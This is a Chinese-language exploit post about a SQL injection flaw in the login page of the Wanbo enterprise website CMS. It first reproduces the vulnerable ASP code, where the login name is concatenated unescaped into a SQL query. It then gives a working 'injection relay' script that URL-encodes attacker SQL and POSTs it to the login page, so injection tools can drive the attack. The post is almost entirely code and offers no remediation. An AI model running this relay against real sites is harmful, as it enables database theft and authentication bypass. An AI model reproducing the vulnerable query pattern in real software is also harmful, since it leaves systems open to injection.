万博企业网站管理系统注入漏洞

MemberLogin.asp：

<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
<% Option Explicit %>
<%Response.Charset="utf-8"%>
<!--#include file="../Include/Const.asp"-->
<!--#include file="../Include/ConnSiteData.asp"-->
<!--#include file="../Include/Md5.asp"-->
<%
if request.QueryString("Action")="Out" then
   session.contents.remove "MemName"
   session.contents.remove "GroupID"
   session.contents.remove "GroupLevel"
   session.contents.remove "MemLogin"
   response.redirect Cstr(request.ServerVariables("HTTP_REFERER"))
   response.end
end if

Public ErrMsg(3)
   ErrMsg(0)="•登录名不正确，请返回。"
   ErrMsg(1)="•登录密码不正确，请返回。"
   ErrMsg(2)="•帐号非使用状态，请返回。"

dim LoginName,LoginPassword,VerifyCode,MemName,Password,GroupID,GroupName,Working,rs,sql
LoginName=trim(request.form("LoginName"))
LoginPassword=Md5(request.form("LoginPassword"))
set rs = server.createobject("adodb.recordset")
sql="select * from NwebCn_Members where MemName='"&LoginName&"'"
rs.open sql,conn,1,3
if rs.bof and rs.eof then
   WriteMsg(ErrMsg(0))
   response.end
else
   MemName=rs("MemName")
   Password=rs("Password")
   GroupID=rs("GroupID")
   GroupName=rs("GroupName")
   Working=rs("Working")
end if

if LoginPassword<>Password then
   WriteMsg(ErrMsg(1))
   response.end
end if 

if not Working then
   WriteMsg(ErrMsg(2))
   response.end
end if 

if UCase(LoginName)=UCase(MemName) and LoginPassword=Password then
   rs("LastLoginTime")=now()
   rs("LastLoginIP")=Request.ServerVariables("Remote_Addr")
   rs("LoginTimes")=rs("LoginTimes")+1
   rs.update
   rs.close
   set rs=nothing
   session("MemName")=MemName
   session("GroupID")=GroupID
   '===========
   set rs = server.createobject("adodb.recordset")
   sql="select * from NwebCn_MemGroup where GroupID='"&GroupID&"'"
   rs.open sql,conn,1,1
   session("GroupLevel")=rs("GroupLevel")
   rs.close
   set rs=nothing
  '===========
   session("MemLogin")="Succeed"
   session.timeout=60
   response.redirect Cstr(request.ServerVariables("HTTP_REFERER"))
   response.end
end if
%>

注入中转脚本，form.asp：

<%
Dim WinHttp, Sql, Url
Set WinHttp = Server.CreateObject("WinHttp.WinHttpRequest.5.1")

'Sql = "LoginName=" & UrlEncoding("test' " & Request("Sql") & " and '1'='1", True)
Sql = "LoginName=" & UrlEncoding(Request("Sql"), True)
Url = "http://127.0.0.1/MemberLogin.asp"

WinHttp.Open "POST", Url, False
WinHttp.SetRequestHeader "Accept", "*/*"                                    '接受数据类型
WinHttp.SetRequestHeader "Accept-Language", "zh-cn,zh"                      '用户系统语言
WinHttp.SetRequestHeader "User-Agent", "Mozilla/6.0"                        '用户浏览器信息
WinHttp.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded" '编码方式
WinHttp.SetRequestHeader "Content-Length", Len(Sql)                         '内容长度，Post 方式用的。
'WinHttp.SetRequestHeader "Accept-Encoding", "gzip, deflate"                 '编码类型，如果发送，会返回 gzip, deflate 压缩过的编码
'WinHttp.SetRequestHeader "Connection", "Close"                              'Close = 不保持连接，Keep-Alive = 保持连接(持久连接)
'WinHttp.SetRequestHeader "Referer", "http://www.baidu.com/"                 '来路
'WinHttp.SetRequestHeader "Cookie", "test cookie!"                           '设置 Cookie
WinHttp.Send (Sql)

Response.Write Url & "<br><br>" & Sql
Response.BinaryWrite WinHttp.ResponseBody
Response.End

'----------------------------------------------------------------'

Public Function UrlEncoding(v, f)    'URL编码
'功能描述：URL编码函数
'输入参数：中英文混合字符串，f是否对ASCII字符编码
'返回值：编码后的ASC字符串
    Dim s, t, i, j, h, l, x: s = "": x = Len(v)
    For i = 1 To x
        t = Mid(v, i, 1): j = Asc(t)
        If j > 0 Then
            If f Then
                s = s & "%" & Right("00" & Hex(Asc(t)), 2)
            Else
                s = s & t
            End If
        Else
            If j < 0 Then j = j + &H10000
            h = (j And &HFF00) \ &HFF
            l = j And &HFF
            s = s & "%" & Hex(h) & "%" & Hex(l)
        End If
    Next
    UrlEncoding = s
End Function
%>